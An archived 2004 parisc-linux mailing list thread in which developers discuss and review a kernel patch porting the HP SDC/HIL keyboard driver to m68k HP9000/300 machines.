  by mx0.gmx.net (mx021) with SMTP; 10 Jul 2004 15:56:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 777D33BDFB; Sat, 10 Jul 2004 07:56:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29656-03; Sat, 10 Jul 2004 07:56:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 35B953BDF9; Sat, 10 Jul 2004 07:55:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED4923BDF7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 07:55:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28607-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 07:55:26 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E14C33BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 07:55:25 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7C29C4946B5; Sat, 10 Jul 2004 07:55:25 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by palinux.hppa (Postfix) with SMTP id 721C34946B3
	for <parisc-linux@parisc-linux.org>;
	Sat, 10 Jul 2004 07:55:24 -0600 (MDT)
Original-Received: (qmail 23261 invoked by uid 65534); 10 Jul 2004 13:55:22 -0000
Original-Received: from pD9FE7050.dip.t-dialin.net (EHLO p100) (217.254.112.80)
	by mail.gmx.net (mp018) with SMTP; 10 Jul 2004 15:55:22 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.82
In-Reply-To: <20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24869

On Saturday 10 July 2004 15:05, Matthew Wilcox wrote:
> On Sat, Jul 10, 2004 at 11:09:34AM +0200, Geert Uytterhoeven wrote:
> > > worry about merging with the PARISC people later?
> > 
> > What about posting the patches to the Linux/m68k and Linux/PA-RISC lists?
> 
> That'd be great.  More shared code!
> It's also good incentive for us to get this stuff merged upstream.
> Helge, you said you'd take care of this... what's the current status?

Last time I tried the HIL stuff for 2.6 was still in bad shape.
It worked unreliable and all the locking due to the timing issues still increases the generic load of the machine.

Our code in kernel 2.4 has similiar problems, but this I think we can live with.

Anyway, I would be happy to see any patches and merge them upstream.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 20:08:12 +0200 (MEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0407102004350.10242@waterleaf.sonytel.be>
References: <1067288209.3591.1.camel@kars.perseus.home>
 <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
 <20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk>
 <200407101555.18830.deller@gmx.de> <1089477389.2474.129.camel@kars.perseus.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624461 25600 80.91.229.3 (22 Nov 2014 02:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 Matthew Wilcox <willy@debian.org>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Kars de Jong <jongk@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from fmmailgate03.dlan.cinetic.de ([172.20.6.137] helo=fmmailgate03.web.de)
	by mxint02.web.de with esmtp (WEB.DE 4.101 #44)
	id 1BjZYF-0000pZ-00
	for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
Original-Received: by fmmailgate03.web.de (8.12.6/8.12.6/webde Linux 0.7) with SMTP id i6B8J7Vt016953
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.2)
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:11 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25393 invoked by uid 65534); 10 Jul 2004 18:08:17 -0000
Original-Received: from witte.sonytel.be (EHLO witte.sonytel.be) (80.88.33.193)
  by mx0.gmx.net (mx059) with SMTP; 10 Jul 2004 20:08:17 +0200
Original-Received: from waterleaf.sonytel.be (localhost [127.0.0.1])
	by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id i6AI8CXK015674;
	Sat, 10 Jul 2004 20:08:13 +0200 (MEST)
In-Reply-To: <1089477389.2474.129.camel@kars.perseus.home>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24870

On Sat, 10 Jul 2004, Kars de Jong wrote:
> On Sat, 2004-07-10 at 15:55, Helge Deller wrote:
> > On Saturday 10 July 2004 15:05, Matthew Wilcox wrote:
> OK, here they are. Nothing to fix the reliability issues though, I'm
> affraid.
>
> I needed remove the __exit marker from hp_sdc_exit() because the linker
> didn't like it being called from hp_sdc_register():
>
> drivers/built-in.o: In function `hp_sdc_register':
> drivers/built-in.o(.init.text+0x396e): undefined reference to `local symbols in discarded section .exit.text'
>
> I don't really know what that means, seems like it doesn't like calling
> an __exit function from an __init function.

Indeed, __exit functions may be discarded.

> --- /tmp/parisc/include/linux/hp_sdc.h	Sat Jul 10 15:47:56 2004
> +++ /usr/src/linux-2.6-m68k-hp/include/linux/hp_sdc.h	Thu Jun 24 21:51:11 2004
> @@ -284,6 +286,9 @@
>  #ifdef __hppa__
>  	struct parisc_device	*dev;
>  	int		dev_err;	/* carries status from registration */
> +#elif defined(__mc68000__)
> +	void		*dev;
> +	int		dev_err;	/* carries status from registration */

You can merge dev_err as well.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 14:33:18 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20040710203318.GC27696@colo.lackof.org>
References: <1067288209.3591.1.camel@kars.perseus.home> <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be> <20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk> <200407101555.18830.deller@gmx.de> <1089477389.2474.129.camel@kars.perseus.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624462 25602 80.91.229.3 (22 Nov 2014 02:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Kars de Jong <jongk@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from fmmailgate03.dlan.cinetic.de ([172.20.6.137] helo=fmmailgate03.web.de)
	by mxint01.web.de with esmtp (WEB.DE 4.101 #44)
	id 1BjZYJ-0007NT-00
	for hdeller@web.de; Sun, 11 Jul 2004 10:19:15 +0200
Original-Received: by fmmailgate03.web.de (8.12.6/8.12.6/webde Linux 0.7) with SMTP id i6B8J7WX016953
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:15 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.2)
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:15 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10840 invoked by uid 65534); 10 Jul 2004 20:33:46 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) (198.49.126.79)
  by mx0.gmx.net (mx004) with SMTP; 10 Jul 2004 22:33:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AE18D29805A; Sat, 10 Jul 2004 14:33:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30675-08; Sat, 10 Jul 2004 14:33:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D4284298038; Sat, 10 Jul 2004 14:33:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1089477389.2474.129.camel@kars.perseus.home>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24871

On Sat, Jul 10, 2004 at 06:36:30PM +0200, Kars de Jong wrote:
...
> @@ -284,6 +286,9 @@
>  #ifdef __hppa__
>  	struct parisc_device	*dev;
>  	int		dev_err;	/* carries status from registration */
> +#elif defined(__mc68000__)
> +	void		*dev;

Can *dev be unified eventually to "struct device"?

"void *" isn't my favorite construct.

grant



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kars de Jong <jongk@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 18:36:30 +0200
Lines: 373
Approved: news@gmane.org
Message-ID: <1089477389.2474.129.camel@kars.perseus.home>
References: <1067288209.3591.1.camel@kars.perseus.home>
	 <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
	 <20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk>
	 <200407101555.18830.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624462 25605 80.91.229.3 (22 Nov 2014 02:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:42 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from fmmailgate03.dlan.cinetic.de ([172.20.6.137] helo=fmmailgate03.web.de)
	by mxint03.web.de with esmtp (WEB.DE 4.101 #44)
	id 1BjZYE-0008Dt-00
	for hdeller@web.de; Sun, 11 Jul 2004 10:19:10 +0200
Original-Received: by fmmailgate03.web.de (8.12.6/8.12.6/webde Linux 0.7) with SMTP id i6B8J7Vj016953
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:10 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.2)
        for hdeller@web.de; Sun, 11 Jul 2004 10:19:10 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3813 invoked by uid 65534); 10 Jul 2004 16:35:50 -0000
Original-Received: from smtpq3.home.nl (EHLO smtpq3.home.nl) (213.51.128.198)
  by mx0.gmx.net (mx037) with SMTP; 10 Jul 2004 18:35:50 +0200
Original-Received: from [213.51.128.132] (port=51807 helo=smtp1.home.nl)
	by smtpq3.home.nl with esmtp (Exim 4.30)
	id 1BjKpJ-0002TU-RF; Sat, 10 Jul 2004 18:35:49 +0200
Original-Received: from cc260354-a.hnglo1.ov.home.nl ([213.51.104.118]:63578 helo=[192.168.1.10])
	by smtp1.home.nl with esmtp (Exim 4.30)
	id 1BjKpI-0000Ah-He; Sat, 10 Jul 2004 18:35:48 +0200
In-Reply-To: <200407101555.18830.deller@gmx.de>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-AtHome-MailScanner-Information: Please contact support@home.nl for more information
X-AtHome-MailScanner: Found to be clean
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24872

On Sat, 2004-07-10 at 15:55, Helge Deller wrote:
> On Saturday 10 July 2004 15:05, Matthew Wilcox wrote:
> > On Sat, Jul 10, 2004 at 11:09:34AM +0200, Geert Uytterhoeven wrote:
> > > > worry about merging with the PARISC people later?
> > > 
> > > What about posting the patches to the Linux/m68k and Linux/PA-RISC lists?
> > 
> > That'd be great.  More shared code!
> > It's also good incentive for us to get this stuff merged upstream.
> > Helge, you said you'd take care of this... what's the current status?
> 
> Last time I tried the HIL stuff for 2.6 was still in bad shape.
> It worked unreliable and all the locking due to the timing issues still increases the generic load of the machine.

Yes, I noticed that...

It seems to be worse than 2.4 though. On my HP9000/425t the keyboard
sometimes locks up for a while and then starts reacting again. The mouse
gets detected but doesn't seem to generate any events on
/dev/input/mice.

> Our code in kernel 2.4 has similiar problems, but this I think we can live with.
> 
> Anyway, I would be happy to see any patches and merge them upstream.

OK, here they are. Nothing to fix the reliability issues though, I'm
affraid.

I needed remove the __exit marker from hp_sdc_exit() because the linker
didn't like it being called from hp_sdc_register():

drivers/built-in.o: In function `hp_sdc_register':
drivers/built-in.o(.init.text+0x396e): undefined reference to `local symbols in discarded section .exit.text'

I don't really know what that means, seems like it doesn't like calling
an __exit function from an __init function.

ChangeLog:

drivers/input/keyboard/hil_kbd.c:
	Check for KEY_RESERVED _after_ translation.

include/linux/hp_sdc.h
drivers/input/serio/hp_sdc.c
	Add support for HP9000/[34]00 series.


Kind regards,

Kars.

diff -ur /tmp/parisc/drivers/input/keyboard/hil_kbd.c /usr/src/linux-2.6-m68k-hp/drivers/input/keyboard/hil_kbd.c
--- /tmp/parisc/drivers/input/keyboard/hil_kbd.c	Sat Jul 10 15:47:52 2004
+++ /usr/src/linux-2.6-m68k-hp/drivers/input/keyboard/hil_kbd.c	Sun Jun 27 13:26:21 2004
@@ -156,9 +156,9 @@
 			key = kbd->data[cnt++];
 			up = key & HIL_KBD_SET1_UPBIT;
 			key &= (~HIL_KBD_SET1_UPBIT & 0xff);
-			key = key >> HIL_KBD_SET1_SHIFT;
+			key = hil_kbd_set1[key >> HIL_KBD_SET1_SHIFT];
 			if (key != KEY_RESERVED)
-				input_report_key(dev, hil_kbd_set1[key], !up);
+				input_report_key(dev, key, !up);
 		}
 		break;
 	case HIL_POL_CHARTYPE_SET2:
@@ -180,9 +180,9 @@
 			key = kbd->data[cnt++];
 			up = key & HIL_KBD_SET3_UPBIT;
 			key &= (~HIL_KBD_SET1_UPBIT & 0xff);
-			key = key >> HIL_KBD_SET3_SHIFT;
+			key = hil_kbd_set3[key >> HIL_KBD_SET3_SHIFT];
 			if (key != KEY_RESERVED)
-				input_report_key(dev, hil_kbd_set3[key], !up);
+				input_report_key(dev, key, !up);
 		}
 		break;
 	}
diff -ur /tmp/parisc/drivers/input/serio/hp_sdc.c /usr/src/linux-2.6-m68k-hp/drivers/input/serio/hp_sdc.c
--- /tmp/parisc/drivers/input/serio/hp_sdc.c	Sat Jul 10 15:47:56 2004
+++ /usr/src/linux-2.6-m68k-hp/drivers/input/serio/hp_sdc.c	Sat Jul 10 18:22:19 2004
@@ -72,7 +72,20 @@
 #include <linux/hil.h>
 #include <asm/io.h>
 #include <asm/system.h>
-#include <asm/parisc-device.h>
+
+/* Machine-specific abstraction */
+
+#if defined(__hppa__)
+# include <asm/parisc-device.h>
+# define sdc_readb(p)		gsc_readb(p)
+# define sdc_writeb(v,p)	gsc_writeb((v),(p))
+#elif defined(__mc68000__)
+# include <asm/uaccess.h>
+# define sdc_readb(p)		in_8(p)
+# define sdc_writeb(v,p)	out_8((p),(v))
+#else
+# error "HIL is not supported on this platform"
+#endif
 
 #define PREFIX "HP SDC: "
 
@@ -99,7 +112,7 @@
 	unsigned long flags;
 
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
-	status = gsc_readb(hp_sdc.status_io);
+	status = sdc_readb(hp_sdc.status_io);
 	if (!(status & HP_SDC_STATUS_IBF)) hp_sdc.ibf = 0;
 	write_unlock_irqrestore(&hp_sdc.ibf_lock, flags);
 
@@ -107,7 +120,7 @@
 }
 
 static inline uint8_t hp_sdc_data_in8 (void) {
-	return gsc_readb(hp_sdc.data_io); 
+	return sdc_readb(hp_sdc.data_io); 
 }
 
 static inline void hp_sdc_status_out8 (uint8_t val) {
@@ -116,7 +129,7 @@
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
 	hp_sdc.ibf = 1;
 	if ((val & 0xf0) == 0xe0) hp_sdc.wi = 0xff;
-	gsc_writeb(val, hp_sdc.status_io);
+	sdc_writeb(val, hp_sdc.status_io);
 	write_unlock_irqrestore(&hp_sdc.ibf_lock, flags);
 }
 
@@ -125,7 +138,7 @@
 
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
 	hp_sdc.ibf = 1;
-	gsc_writeb(val, hp_sdc.data_io);
+	sdc_writeb(val, hp_sdc.data_io);
 	write_unlock_irqrestore(&hp_sdc.ibf_lock, flags);
 }
 
@@ -146,7 +159,7 @@
 	}
 	read_unlock(lock);
 	write_lock(lock);
-	while (gsc_readb(hp_sdc.status_io) & HP_SDC_STATUS_IBF) {};
+	while (sdc_readb(hp_sdc.status_io) & HP_SDC_STATUS_IBF) {};
 	hp_sdc.ibf = 0;
 	write_unlock_irqrestore(lock, flags);
 }
@@ -636,6 +649,7 @@
 
 	hp_sdc.hil = callback;
 	hp_sdc.im &= ~HP_SDC_IM_HIL;
+	hp_sdc.im &= ~HP_SDC_IM_RESET;
 	hp_sdc.set_im = 1;
 	write_unlock_irq(&hp_sdc.hook_lock);
 
@@ -661,6 +675,7 @@
 	/* Enable interrupts from the HIL MLC */
 	hp_sdc.cooked = callback;
 	hp_sdc.im &= ~HP_SDC_IM_HIL;
+	hp_sdc.im &= ~HP_SDC_IM_RESET;
 	hp_sdc.set_im = 1;
 	write_unlock_irq(&hp_sdc.hook_lock);
 
@@ -705,6 +720,7 @@
 	/* Disable interrupts from HIL only if there is no cooked driver. */
 	if(hp_sdc.cooked == NULL) {
 		hp_sdc.im |= HP_SDC_IM_HIL;
+		hp_sdc.im |= HP_SDC_IM_RESET;
 		hp_sdc.set_im = 1;
 	}
 	write_unlock_irq(&hp_sdc.hook_lock);
@@ -727,6 +743,7 @@
 	/* Disable interrupts from HIL only if there is no raw HIL driver. */
 	if(hp_sdc.hil == NULL) {
 		hp_sdc.im |= HP_SDC_IM_HIL;
+		hp_sdc.im |= HP_SDC_IM_RESET;
 		hp_sdc.set_im = 1;
 	}
 	write_unlock_irq(&hp_sdc.hook_lock);
@@ -746,6 +763,8 @@
 
 /************************** Module Initialization ***************************/
 
+#if defined(__hppa__)
+
 static struct parisc_device_id hp_sdc_tbl[] = {
 	{
 		.hw_type =	HPHW_FIO, 
@@ -758,15 +777,17 @@
 
 MODULE_DEVICE_TABLE(parisc, hp_sdc_tbl);
 
-static int __init hp_sdc_init(struct parisc_device *d);
+static int __init hp_sdc_init_hppa(struct parisc_device *d);
 
 static struct parisc_driver hp_sdc_driver = {
 	.name =		"HP SDC",
 	.id_table =	hp_sdc_tbl,
-	.probe =	hp_sdc_init,
+	.probe =	hp_sdc_init_hppa,
 };
 
-static int __init hp_sdc_init(struct parisc_device *d)
+#endif /* __hppa__ */
+
+static int __init hp_sdc_init(void)
 {
 	int i;
 	char *errstr = NULL;
@@ -774,20 +795,8 @@
 	uint8_t ts_sync[6];
 	struct semaphore s_sync;
 
-
 	errstr = "foo\n";
 
-	if (!d) return 1;
-	if (hp_sdc.dev != NULL) return 1;	/* We only expect one SDC */
-
-	hp_sdc.dev = d;
-	hp_sdc.irq		= d->irq;
-	/* TODO: Is NMI == IRQ - 1 all cases, or is there a way to query? */
-	hp_sdc.nmi		= d->irq - 1;
-	hp_sdc.base_io		= (unsigned long) d->hpa;
-	hp_sdc.data_io		= (unsigned long) d->hpa + 0x800;
-	hp_sdc.status_io	= (unsigned long) d->hpa + 0x801;
-
   	hp_sdc.lock		= RW_LOCK_UNLOCKED;
   	hp_sdc.ibf_lock		= RW_LOCK_UNLOCKED;
   	hp_sdc.rtq_lock		= RW_LOCK_UNLOCKED;
@@ -822,6 +831,7 @@
 	hp_sdc.dev_err = -EBUSY;
 
 	errstr = "IO not available for";
+#if defined(__hppa__)
         if (request_region(hp_sdc.data_io, 2, hp_sdc_driver.name)) goto err0;
 
 	errstr = "IRQ not available for";
@@ -829,8 +839,19 @@
 		       (void *) hp_sdc.base_io)) goto err1;
 
 	errstr = "NMI not available for";
+
         if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", 
 			(void*)d->hpa)) goto err2;
+#elif defined(__mc68000__)
+	errstr = "IRQ not available for";
+        if(request_irq(hp_sdc.irq, &hp_sdc_isr, 0, "HP SDC", 
+		       (void *) hp_sdc.base_io)) goto err1;
+
+	errstr = "NMI not available for";
+	
+	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, 0, "HP SDC NMI", 
+			(void *) hp_sdc.base_io)) goto err2;
+#endif	
 
 	printk(KERN_INFO PREFIX "HP SDC at 0x%p, IRQ %d (NMI IRQ %d)\n", 
 	       (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
@@ -872,13 +893,37 @@
 	return hp_sdc.dev_err;
 }
 
+#if defined(__hppa__)
+
+static int __init hp_sdc_init_hppa(struct parisc_device *d)
+{
+	if (!d) return 1;
+	if (hp_sdc.dev != NULL) return 1;	/* We only expect one SDC */
+
+	hp_sdc.dev = d;
+	hp_sdc.irq		= d->irq;
+	/* TODO: Is NMI == IRQ - 1 all cases, or is there a way to query? */
+	hp_sdc.nmi		= d->irq - 1;
+	hp_sdc.base_io		= (unsigned long) d->hpa;
+	hp_sdc.data_io		= (unsigned long) d->hpa + 0x800;
+	hp_sdc.status_io	= (unsigned long) d->hpa + 0x801;
+
+	return hp_sdc_init();
+}
+
+#endif /* __hppa__ */
+
+#if !defined(__mc68000__) /* Link error on m68k! */
 static void __exit hp_sdc_exit(void)
+#else
+static void hp_sdc_exit(void)
+#endif
 {
 	write_lock_irq(&hp_sdc.lock);
 
 	/* Turn off all maskable "sub-function" irq's. */
 	hp_sdc_spin_ibf();
-	gsc_writeb(HP_SDC_CMD_SET_IM | HP_SDC_IM_MASK, hp_sdc.status_io);
+	sdc_writeb(HP_SDC_CMD_SET_IM | HP_SDC_IM_MASK, hp_sdc.status_io);
 
 	/* Wait until we know this has been processed by the i8042 */
 	hp_sdc_spin_ibf();
@@ -893,22 +938,45 @@
 
 /*        release_region(hp_sdc.data_io, 2); */
 
+#if defined(__hppa__)
 	if (unregister_parisc_driver(&hp_sdc_driver)) 
 		printk(KERN_WARNING PREFIX "Error unregistering HP SDC");
+#endif
 }
 
 static int __init hp_sdc_register(void)
 {
-	hp_sdc.dev = NULL;
-	hp_sdc.dev_err = 0;
 	hp_sdc_transaction tq_init;
 	uint8_t tq_init_seq[5];
 	struct semaphore tq_init_sem;
-
+#if defined(__mc68000__)
+	mm_segment_t fs;
+	unsigned char i;
+#endif
+	
+	hp_sdc.dev = NULL;
+	hp_sdc.dev_err = 0;
+#if defined(__hppa__)
 	if (register_parisc_driver(&hp_sdc_driver)) {
 		printk(KERN_WARNING PREFIX "Error registering SDC with system bus tree.\n");
 		return -ENODEV;
 	}
+#elif defined(__mc68000__)
+	if (!MACH_IS_HP300)
+	    return -ENODEV;
+
+	hp_sdc.irq	 = 1;
+	hp_sdc.nmi	 = 7;
+	hp_sdc.base_io	 = (unsigned long) 0xf0428000;
+	hp_sdc.data_io	 = (unsigned long) hp_sdc.base_io + 1;
+	hp_sdc.status_io = (unsigned long) hp_sdc.base_io + 3;
+	fs = get_fs();
+	set_fs(KERNEL_DS);
+	if (!get_user(i, (unsigned char *)hp_sdc.data_io))
+		hp_sdc.dev = (void *)1;
+	set_fs(fs);
+	hp_sdc.dev_err   = hp_sdc_init();
+#endif
 	if (hp_sdc.dev == NULL) {
 		printk(KERN_WARNING PREFIX "No SDC found.\n");
 		return hp_sdc.dev_err;
diff -ur /tmp/parisc/include/linux/hp_sdc.h /usr/src/linux-2.6-m68k-hp/include/linux/hp_sdc.h
--- /tmp/parisc/include/linux/hp_sdc.h	Sat Jul 10 15:47:56 2004
+++ /usr/src/linux-2.6-m68k-hp/include/linux/hp_sdc.h	Thu Jun 24 21:51:11 2004
@@ -42,7 +42,9 @@
 #include <linux/types.h>
 #include <linux/time.h>
 #include <linux/timer.h>
+#if defined(__hppa__)
 #include <asm/hardware.h>
+#endif
 
 
 /* No 4X status reads take longer than this (in usec).
@@ -284,6 +286,9 @@
 #ifdef __hppa__
 	struct parisc_device	*dev;
 	int		dev_err;	/* carries status from registration */
+#elif defined(__mc68000__)
+	void		*dev;
+	int		dev_err;	/* carries status from registration */	
 #else
 #error No support for device registration on this arch yet.
 #endif




From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [randolph@tausq.org: Re: DIFF 2.6.7-pa13 SMP fixes]
Date: Sun, 11 Jul 2004 15:27:45 -0600
Lines: 158
Approved: news@gmane.org
Message-ID: <20040711212745.GA15160@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624462 25610 80.91.229.3 (22 Nov 2014 02:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
